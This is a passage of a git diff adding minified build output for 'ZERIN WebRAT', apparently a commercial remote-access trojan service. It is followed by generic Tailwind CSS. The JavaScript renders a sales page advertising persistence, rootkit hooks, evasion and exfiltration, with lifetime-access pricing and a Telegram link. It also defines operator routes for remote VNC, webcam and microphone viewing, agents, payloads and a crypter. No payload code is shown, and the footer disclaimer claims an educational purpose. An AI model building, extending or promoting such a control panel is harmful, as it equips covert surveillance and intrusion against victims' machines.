font-mono px-4 py-1.5 transition-all duration-300",children:"Register"})]})]})}),s.jsx(SV,{activeId:n}),s.jsxs("section",{className:"relative z-10 pt-32 pb-16 px-6 text-center",children:[s.jsx("span",{className:"font-mono text-[11px] tracking-[0.3em] text-zerin-accent/60 uppercase",children:"Platform Capabilities"}),s.jsxs("h1",{className:"font-display font-bold text-4xl sm:text-5xl md:text-6xl tracking-tight mt-4 mb-5",children:["Full Spectrum"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent via-cyan-300 to-zerin-accent bg-clip-text text-transparent",children:"Red Team Toolkit"})]}),s.jsxs("p",{className:"max-w-2xl mx-auto text-zerin-text-muted/80 text-[15px] leading-relaxed font-mono",children:[a," capabilities across ",Mi.length," modules — from initial access to persistence, evasion, and exfiltration. Everything an operator needs in a single platform."]}),s.jsxs("div",{className:"mt-14 max-w-3xl mx-auto grid grid-cols-2 sm:grid-cols-4 gap-8 border border-[#1a1a22] bg-[#08080c]/50 py-6 px-6",children:[s.jsx(Zl,{value:String(a),label:"Capabilities"}),s.jsx(Zl,{value:"13",label:"Persist Methods"}),s.jsx(Zl,{value:"11",label:"Rootkit Hooks"}),s.jsx(Zl,{value:"256",label:"Proxy Channels"})]}),s.jsx("div",{className:"mt-10 flex flex-wrap items-center justify-center gap-2",children:Mi.map(o=>s.jsx("a",{href:`#${o.id}`,className:"font-mono text-[10px] tracking-[0.15em] text-zerin-text-muted/60 border border-[#1a1a22] hover:border-zerin-accent/30 hover:text-zerin-accent/80 px-3 py-1.5 transition-all duration-300 uppercase",children:o.label},o.id))})]}),s.jsx("div",{className:"max-w-6xl mx-auto px-6",children:s.jsx("div",{className:"h-[1px] bg-gradient-to-r from-transparent via-[#1a1a22] to-transparent"})}),s.jsx("div",{className:"relative z-10 max-w-5xl mx-auto px-6 py-20 space-y-24",children:Mi.map((o,l)=>s.jsx(NV,{cat:o,index:l},o.id))}),s.jsxs("section",{className:"relative z-10 py-24 px-6 text-center border-t border-[#1a1a22]/50",children:[s.jsxs("h2",{className:"font-display font-bold text-3xl md:text-4xl tracking-tight mb-4",children:["Ready to"," ",s.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),s.jsxs("p",{className:"text-zerin-text-muted text-[15px] mb-8 max-w-md mx-auto",children:["Get lifetime access to the full platform — all ",a," capabilities included."]}),s.jsxs("div",{className:"flex items-center justify-center gap-4",children:[s.jsxs("a",{href:"/#pricing",className:"group relative overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-8 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)]",children:[s.jsx("span",{className:"relative z-10",children:"View Pricing"}),s.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]}),s.jsx(dt,{to:"/register",className:"border border-[#1a1a22] hover:border-zerin-accent/30 text-zerin-text-dim hover:text-zerin-text font-mono text-sm px-8 py-3 transition-all duration-300",children:"Register"})]})]}),s.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[s.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[s.jsxs("button",{onClick:i,className:"flex items-center gap-2 hover:opacity-80 transition-opacity",children:[s.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),s.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[s.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:s.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),s.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),s.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Ql({children:e}){const{isAuthenticated:t}=ls();return t?s.jsx(s.Fragment,{children:e}):s.jsx(Qi,{to:"/",replace:!0})}function CV({children:e}){const{isAuthenticated:t,isAdmin:n}=ls();return t?n?s.jsx(s.Fragment,{children:e}):s.jsx(Qi,{to:"/",replace:!0}):s.jsx(Qi,{to:"/login",replace:!0})}function I2({children:e}){const{isAuthenticated:t}=ls();return t?s.jsx(Qi,{to:"/dashboard",replace:!0}):s.jsx(s.Fragment,{children:e})}function PV(){const[e]=xx(),t=dr();return p.useEffect(()=>{let n=e.get("token");if(!n){const r=window.location.hash;r.startsWith("#token=")&&(n=decodeURIComponent(r.slice(7)))}n&&n.split(".").length===3&&(vx(n),xi()),t("/dashboard",{replace:!0})},[e,t]),null}function EV(){const{isAuthenticated:e}=ls();return e?s.jsx(Qi,{to:"/dashboard",replace:!0}):yx()?s.jsx(UA,{}):s.jsx(Qi,{to:"/login",replace:!0})}function AV(){return s.jsx(sA,{children:s.jsxs(mE,{children:[s.jsx(ht,{path:"/",element:s.jsx(EV,{})}),s.jsx(ht,{path:"/auth",element:s.jsx(PV,{})}),s.jsx(ht,{path:"/features",element:s.jsx(zV,{})}),s.jsx(ht,{path:"/payment/:id",element:s.jsx(bV,{})}),s.jsx(ht,{path:"/login",element:s.jsx(I2,{children:s.jsx(VA,{})})}),s.jsx(ht,{path:"/register",element:s.jsx(I2,{children:s.jsx(HA,{})})}),s.jsx(ht,{path:"/vnc/:id",element:s.jsx(Ql,{children:s.jsx(iV,{})})}),s.jsx(ht,{path:"/webcam/:id",element:s.jsx(Ql,{children:s.jsx(uV,{})})}),s.jsx(ht,{path:"/mic/:id",element:s.jsx(Ql,{children:s.jsx(fV,{})})}),s.jsxs(ht,{element:s.jsx(Ql,{children:s.jsx(IA,{})}),children:[s.jsx(ht,{path:"/dashboard",element:s.jsx(zU,{})}),s.jsx(ht,{path:"/agents/:id",element:s.jsx(ZU,{})}),s.jsx(ht,{path:"/events",element:s.jsx(JU,{})}),s.jsx(ht,{path:"/payloads",element:s.jsx(nV,{})}),s.jsx(ht,{path:"/crypter",element:s.jsx(vV,{})}),s.jsx(ht,{path:"/admin",element:s.jsx(CV,{children:s.jsx(xV,{})})})]}),s.jsx(ht,{path:"*",element:s.jsx(Qi,{to:"/",replace:!0})})]})})}Np.createRoot(document.getElementById("root")).render(s.jsx(wh.StrictMode,{children:s.jsx(kE,{children:s.jsx(AV,{})})})); diff --git a/dist/assets/index-B6xpyg2I.css b/dist/assets/index-B6xpyg2I.css new file mode 100755 index 0000000..968a827 --- /dev/null +++ b/dist/assets/index-B6xpyg2I.css @@ -0,0 +1 @@ +*,:before,:after{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }::backdrop{--tw-border-spacing-x: 0;--tw-border-spacing-y: 0;--tw-translate-x: 0;--tw-translate-y: 0;--tw-rotate: 0;--tw-skew-x: 0;--tw-skew-y: 0;--tw-scale-x: 1;--tw-scale-y: 1;--tw-pan-x: ;--tw-pan-y: ;--tw-pinch-zoom: ;--tw-scroll-snap-strictness: proximity;--tw-gradient-from-position: ;--tw-gradient-via-position: ;--tw-gradient-to-position: ;--tw-ordinal: ;--tw-slashed-zero: ;--tw-numeric-figure: ;--tw-numeric-spacing: ;--tw-numeric-fraction: ;--tw-ring-inset: ;--tw-ring-offset-width: 0px;--tw-ring-offset-color: #fff;--tw-ring-color: rgb(59 130 246 / .5);--tw-ring-offset-shadow: 0 0 #0000;--tw-ring-shadow: 0 0 #0000;--tw-shadow: 0 0 #0000;--tw-shadow-colored: 0 0 #0000;--tw-blur: ;--tw-brightness: ;--tw-contrast: ;--tw-grayscale: ;--tw-hue-rotate: ;--tw-invert: ;--tw-saturate: ;--tw-sepia: ;--tw-drop-shadow: ;--tw-backdrop-blur: ;--tw-backdrop-brightness: ;--tw-backdrop-contrast: ;--tw-backdrop-grayscale: ;--tw-backdrop-hue-rotate: ;--tw-backdrop-invert: ;--tw-backdrop-opacity: ;--tw-backdrop-saturate: ;--tw-backdrop-sepia: ;--tw-contain-size: ;--tw-contain-layout: ;--tw-contain-paint: ;--tw-contain-style: }*,:before,:after{box-sizing:border-box;border-width:0;border-style:solid;border-color:#e5e7eb}:before,:after{--tw-content: ""}html,:host{line-height:1.5;-webkit-text-size-adjust:100%;-moz-tab-size:4;-o-tab-size:4;tab-size:4;font-family:var(--font-sans),"Segoe UI",system-ui,-apple-system,BlinkMacSystemFont,"Helvetica Neue",Arial,sans-serif;font-feature-settings:normal;font-variation-settings:normal;-webkit-tap-highlight-color:transparent}body{margin:0;line-height:inherit}hr{height:0;color:inherit;border-top-width:1px}abbr:where([title]){-webkit-text-decoration:underline dotted;text-decoration:underline dotted}h1,h2,h3,h4,h5,h6{font-size:inherit;font-weight:inherit}a{color:inherit;text-decoration:inherit}b,strong{font-weight:bolder}code,kbd,samp,pre{font-family:var(--font-mono),"Cascadia Code","Consolas","SF Mono","Liberation Mono","Menlo",monospace;font-feature-settings:normal;font-variation-settings:normal;font-size:1em}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}table{text-indent:0;border-color:inherit;border-collapse:collapse}button,input,optgroup,select,textarea{font-family:inherit;font-feature-settings:inherit;font-variation-settings:inherit;font-size:100%;font-weight:inherit;line-height:inherit;letter-spacing:inherit;color:inherit;margin:0;padding:0}button,select{text-transform:none}button,input:where([type=button]),input:where([type=reset]),input:where([type=submit]){-webkit-appearance:button;background-color:transparent;background-image:none}:-moz-focusring{outline:auto}:-moz-ui-invalid{box-shadow:none}progress{vertical-align:baseline}::-webkit-inner-spin-button,::-webkit-outer-spin-button{height:auto}[type=search]{-webkit-appearance:textfield;outline-offset:-2px}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}summary{display:list-item}blockquote,dl,dd,h1,h2,h3,h4,h5,h6,hr,figure,p,pre{margin:0}fieldset{margin:0;padding:0}legend{padding:0}ol,ul,menu{list-style:none;margin:0;padding:0}dialog{padding:0}textarea{resize:vertical}input::-moz-placeholder,textarea::-moz-placeholder{opacity:1;color:#9ca3af}input::placeholder,textarea::placeholder{opacity:1;color:#9ca3af}button,[role=button]{cursor:pointer}:disabled{cursor:default}img,svg,video,canvas,audio,iframe,embed,object{display:block;vertical-align:middle}img,video{max-width:100%;height:auto}[hidden]:where(:not([hidden=until-found])){display:none}.container{width:100%}@media (min-width: 640px){.container{max-width:640px}}@media (min-width: 768px){.container{max-width:768px}}@media (min-width: 1024px){.container{max-width:1024px}}@media (min-width: 1280px){.container{max-width:1280px}}@media (min-width: 1536px){.container{max-width:1536px}}.pointer-events-none{pointer-events:none}.\!visible{visibility:visible!important}.visible{visibility:visible}.static{position:static}.fixed{position:fixed}.absolute{position:absolute}.relative{position:relative}.sticky{position:sticky}.-inset-\[1px\]{top:-1px;right:-1px;bottom:-1px;left:-1px}.inset-0{top:0;right:0;bottom:0;left:0}.-top-10{top:-2.5rem}.bottom-0{bottom:0}.bottom-10{bottom:2.5rem}.bottom-12{bottom:3rem}.bottom-4{bottom:1rem}.bottom-6{bottom:1.5rem}.bottom-full{bottom:100%}.left-0{left:0}.left-0\.5{left:.125rem}.left-1\/2{left:50%}.left-2\.5{left:.625rem}.left-6{left:1.5rem}.left-full{left:100%}.right-0{right:0}.right-4{right:1rem}.right-full{right:100%}.top-0{top:0}.top-0\.5{top:.125rem}.top-1\/2{top:50%}.top-24{top:6rem}.top-4{top:1rem}.top-\[2px\]{top:2px}.top-full{top:100%}.z-10{z-index:10}.z-20{z-index:20}.z-40{z-index:40}.z-50{z-index:50}.z-\[10000\]{z-index:10000}.z-\[100\]{z-index:100}.z-\[9000\]{z-index:9000}.z-\[9998\]{z-index:9998}.z-\[9999\]{z-index:9999}.col-span-12{grid-column:span 12 / span 12}.col-span-2{grid-column:span 2 / span 2}.mx-0\.5{margin-left:.125rem;margin-right:.125rem}.mx-2{margin-left:.5rem;margin-right:.5rem}.mx-3{margin-left:.75rem;margin-right:.75rem}.mx-4{margin-left:1rem;margin-right:1rem}.mx-6{margin-left:1.5rem;margin-right:1.5rem}.mx-auto{margin-left:auto;margin-right:auto}.my-1{margin-top:.25rem;margin-bottom:.25rem}.-mb-px{margin-bottom:-1px}.mb-0{margin-bottom:0}.mb-0\.5{margin-bottom:.125rem}.mb-1{margin-bottom:.25rem}.mb-1\.5{margin-bottom:.375rem}.mb-10{margin-bottom:2.5rem}.mb-14{margin-bottom:3.5rem}.mb-16{margin-bottom:4rem}.mb-2{margin-bottom:.5rem}.mb-2\.5{margin-bottom:.625rem}.mb-3{margin-bottom:.75rem}.mb-4{margin-bottom:1rem}.mb-5{margin-bottom:1.25rem}.mb-6{margin-bottom:1.5rem}.mb-8{margin-bottom:2rem}.ml-0{margin-left:0}.ml-0\.5{margin-left:.125rem}.ml-1{margin-left:.25rem}.ml-1\.5{margin-left:.375rem}.ml-2{margin-left:.5rem}.ml-3{margin-left:.75rem}.ml-\[100px\]{margin-left:100px}.ml-\[1px\]{margin-left:1px}.ml-auto{margin-left:auto}.mr-1{margin-right:.25rem}.mr-2{margin-right:.5rem}.mr-3{margin-right:.75rem}.mr-\[1px\]{margin-right:1px}.mt-0\.5{margin-top:.125rem}.mt-1{margin-top:.25rem}.mt-1\.5{margin-top:.375rem}.mt-10{margin-top:2.5rem}.mt-14{margin-top:3.5rem}.mt-2{margin-top:.5rem}.mt-20{margin-top:5rem}.mt-3{margin-top:.75rem}.mt-4{margin-top:1rem}.mt-5{margin-top:1.25rem}.mt-6{margin-top:1.5rem}.mt-7{margin-top:1.75rem}.mt-8{margin-top:2rem}.block{display:block}.inline-block{display:inline-block}.inline{display:inline}.flex{display:flex}.inline-flex{display:inline-flex}.table{display:table}.grid{display:grid}.hidden{display:none}.aspect-video{aspect-ratio:16 / 9}.h-1{height:.25rem}.h-1\.5{height:.375rem}.h-10{height:2.5rem}.h-12{height:3rem}.h-14{height:3.5rem}.h-16{height:4rem}.h-2{height:.5rem}.h-2\.5{height:.625rem}.h-24{height:6rem}.h-28{height:7rem}.h-3{height:.75rem}.h-3\.5{height:.875rem}.h-4{height:1rem}.h-5{height:1.25rem}.h-6{height:1.5rem}.h-64{height:16rem}.h-7{height:1.75rem}.h-8{height:2rem}.h-9{height:2.25rem}.h-\[1px\]{height:1px}.h-\[20px\]{height:20px}.h-\[2px\]{height:2px}.h-\[3px\]{height:3px}.h-\[500px\]{height:500px}.h-\[600px\]{height:600px}.h-full{height:100%}.h-screen{height:100vh}.max-h-32{max-height:8rem}.max-h-48{max-height:12rem}.max-h-\[340px\]{max-height:340px}.max-h-\[500px\]{max-height:500px}.max-h-\[50vh\]{max-height:50vh}.max-h-\[80vh\]{max-height:80vh}.max-h-\[85vh\]{max-height:85vh}.max-h-\[90vh\]{max-height:90vh}.max-h-full{max-height:100%}.min-h-0{min-height:0px}.min-h-\[200px\]{min-height:200px}.min-h-\[calc\(100vh\+100px\)\]{min-height:calc(100vh + 100px)}.min-h-\[calc\(100vh-64px\)\]{min-height:calc(100vh - 64px)}.min-h-screen{min-height:100vh}.w-0{width:0px}.w-0\.5{width:.125rem}.w-1{width:.25rem}.w-1\.5{width:.375rem}.w-10{width:2.5rem}.w-12{width:3rem}.w-14{width:3.5rem}.w-16{width:4rem}.w-2{width:.5rem}.w-2\.5{width:.625rem}.w-20{width:5rem}.w-24{width:6rem}.w-28{width:7rem}.w-3{width:.75rem}.w-3\.5{width:.875rem}.w-32{width:8rem}.w-4{width:1rem}.w-40{width:10rem}.w-5{width:1.25rem}.w-56{width:14rem}.w-6{width:1.5rem}.w-7{width:1.75rem}.w-8{width:2rem}.w-9{width:2.25rem}.w-96{width:24rem}.w-\[1000px\]{width:1000px}.w-\[100px\]{width:100px}.w-\[120px\]{width:120px}.w-\[140px\]{width:140px}.w-\[1px\]{width:1px}.w-\[200px\]{width:200px}.w-\[2px\]{width:2px}.w-\[40px\]{width:40px}.w-\[480px\]{width:480px}.w-\[800px\]{width:800px}.w-\[80px\]{width:80px}.w-full{width:100%}.w-px{width:1px}.w-screen{width:100vw}.min-w-0{min-width:0px}.min-w-\[170px\]{min-width:170px}.min-w-\[200px\]{min-width:200px}.min-w-\[210px\]{min-width:210px}.min-w-\[340px\]{min-width:340px}.max-w-2xl{max-width:42rem}.max-w-3xl{max-width:48rem}.max-w-4xl{max-width:56rem}.max-w-5xl{max-width:64rem}.max-w-6xl{max-width:72rem}.max-w-\[160px\]{max-width:160px}.max-w-\[200px\]{max-width:200px}.max-w-\[300px\]{max-width:300px}.max-w-\[400px\]{max-width:400px}.max-w-\[80\%\]{max-width:80%}.max-w-\[90vw\]{max-width:90vw}.max-w-full{max-width:100%}.max-w-lg{max-width:32rem}.max-w-md{max-width:28rem}.max-w-sm{max-width:24rem}.max-w-xl{max-width:36rem}.max-w-xs{max-width:20rem}.flex-1{flex:1 1 0%}.flex-shrink-0,.shrink-0{flex-shrink:0}.-translate-x-1\/2{--tw-translate-x: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-4{--tw-translate-x: -1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-x-full{--tw-translate-x: -100%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.-translate-y-1\/2{--tw-translate-y: -50%;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0{--tw-translate-x: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-0\.5{--tw-translate-x: .125rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-x-4{--tw-translate-x: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-0{--tw-translate-y: 0px;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-3{--tw-translate-y: .75rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.translate-y-4{--tw-translate-y: 1rem;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-180{--tw-rotate: 180deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.rotate-90{--tw-rotate: 90deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.transform{transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skew(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.animate-fade-in{animation:fadeIn .25s ease-out}@keyframes ping{75%,to{transform:scale(2);opacity:0}}.animate-ping{animation:ping 1s cubic-bezier(0,0,.2,1) infinite}@keyframes pulse{50%{opacity:.5}}.animate-pulse{animation:pulse 2s cubic-bezier(.4,0,.6,1) infinite}@keyframes pulseDot{0%,to{opacity:1}50%{opacity:.4}}.animate-pulse-dot{animation:pulseDot 2s ease-in-out infinite}@keyframes scaleIn{0%{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.animate-scale-in{animation:scaleIn .15s ease-out}@keyframes slideInRight{0%{opacity:0;transform:translate(24px)}to{opacity:1;transform:translate(0)}}.animate-slide-in-right{animation:slideInRight .25s ease-out}@keyframes slideUp{0%{opacity:0;transform:translateY(8px)}to{opacity:1;transform:translateY(0)}}.animate-slide-up{animation:slideUp .2s ease-out}@keyframes slideUpPanel{0%{transform:translateY(100%)}to{transform:translateY(0)}}.animate-slide-up-panel{animation:slideUpPanel .3s ease-out}@keyframes spin{to{transform:rotate(360deg)}}.animate-spin{animation:spin 1s linear infinite}.cursor-default{cursor:default}.cursor-not-allowed{cursor:not-allowed}.cursor-pointer{cursor:pointer}.select-none{-webkit-user-select:none;-moz-user-select:none;user-select:none}.select-all{-webkit-user-select:all;-moz-user-select:all;user-select:all}.resize-none{resize:none}.resize{resize:both}.scroll-mt-24{scroll-margin-top:6rem}.list-inside{list-style-position:inside}.list-disc{list-style-type:disc}.appearance-none{-webkit-appearance:none;-moz-appearance:none;appearance:none}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-12{grid-template-columns:repeat(12,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-\[100px_140px_1fr_140px\]{grid-template-columns:100px 140px 1fr 140px}.grid-cols-\[110px_1fr_90px_160px_80px_150px\]{grid-template-columns:110px 1fr 90px 160px 80px 150px}.grid-cols-\[1fr_70px_60px_120px_100px_140px_70px_100px\]{grid-template-columns:1fr 70px 60px 120px 100px 140px 70px 100px}.grid-cols-\[24px_1fr\]{grid-template-columns:24px 1fr}.grid-cols-\[80px_1fr_120px_70px\]{grid-template-columns:80px 1fr 120px 70px}.flex-col{flex-direction:column}.flex-wrap{flex-wrap:wrap}.items-start{align-items:flex-start}.items-end{align-items:flex-end}.items-center{align-items:center}.items-baseline{align-items:baseline}.justify-start{justify-content:flex-start}.justify-end{justify-content:flex-end}.justify-center{justify-content:center}.justify-between{justify-content:space-between}.gap-0\.5{gap:.125rem}.gap-1{gap:.25rem}.gap-1\.5{gap:.375rem}.gap-10{gap:2.5rem}.gap-12{gap:3rem}.gap-2{gap:.5rem}.gap-2\.5{gap:.625rem}.gap-3{gap:.75rem}.gap-4{gap:1rem}.gap-5{gap:1.25rem}.gap-6{gap:1.5rem}.gap-8{gap:2rem}.gap-\[1px\]{gap:1px}.gap-x-4{-moz-column-gap:1rem;column-gap:1rem}.gap-y-4{row-gap:1rem}.space-y-0\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.125rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.125rem * var(--tw-space-y-reverse))}.space-y-1>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.25rem * var(--tw-space-y-reverse))}.space-y-1\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.375rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.375rem * var(--tw-space-y-reverse))}.space-y-2>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.5rem * var(--tw-space-y-reverse))}.space-y-2\.5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.625rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.625rem * var(--tw-space-y-reverse))}.space-y-24>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(6rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(6rem * var(--tw-space-y-reverse))}.space-y-3>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(.75rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(.75rem * var(--tw-space-y-reverse))}.space-y-4>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1rem * var(--tw-space-y-reverse))}.space-y-5>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.25rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.25rem * var(--tw-space-y-reverse))}.space-y-6>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1.5rem * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1.5rem * var(--tw-space-y-reverse))}.space-y-\[1px\]>:not([hidden])~:not([hidden]){--tw-space-y-reverse: 0;margin-top:calc(1px * calc(1 - var(--tw-space-y-reverse)));margin-bottom:calc(1px * var(--tw-space-y-reverse))}.divide-y>:not([hidden])~:not([hidden]){--tw-divide-y-reverse: 0;border-top-width:calc(1px * calc(1 - var(--tw-divide-y-reverse)));border-bottom-width:calc(1px * var(--tw-divide-y-reverse))}.divide-zerin-panel-border>:not([hidden])~:not([hidden]){--tw-divide-opacity: 1;border-color:rgb(31 31 35 / var(--tw-divide-opacity, 1))}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.overflow-x-hidden{overflow-x:hidden}.truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.whitespace-nowrap{white-space:nowrap}.whitespace-pre-wrap{white-space:pre-wrap}.break-words{overflow-wrap:break-word}.break-all{word-break:break-all}.rounded{border-radius:.25rem}.rounded-full{border-radius:9999px}.rounded-sm{border-radius:.125rem}.border{border-width:1px}.border-0{border-width:0px}.border-2{border-width:2px}.border-b{border-bottom-width:1px}.border-b-2{border-bottom-width:2px}.border-l{border-left-width:1px}.border-l-2{border-left-width:2px}.border-r{border-right-width:1px}.border-t{border-top-width:1px}.border-dashed{border-style:dashed}.border-\[\#00F0FF\]\/30{border-color:#00f0ff4d}.border-\[\#111118\]{--tw-border-opacity: 1;border-color:rgb(17 17 24 / var(--tw-border-opacity, 1))}.border-\[\#1a1a20\]{--tw-border-opacity: 1;border-color:rgb(26 26 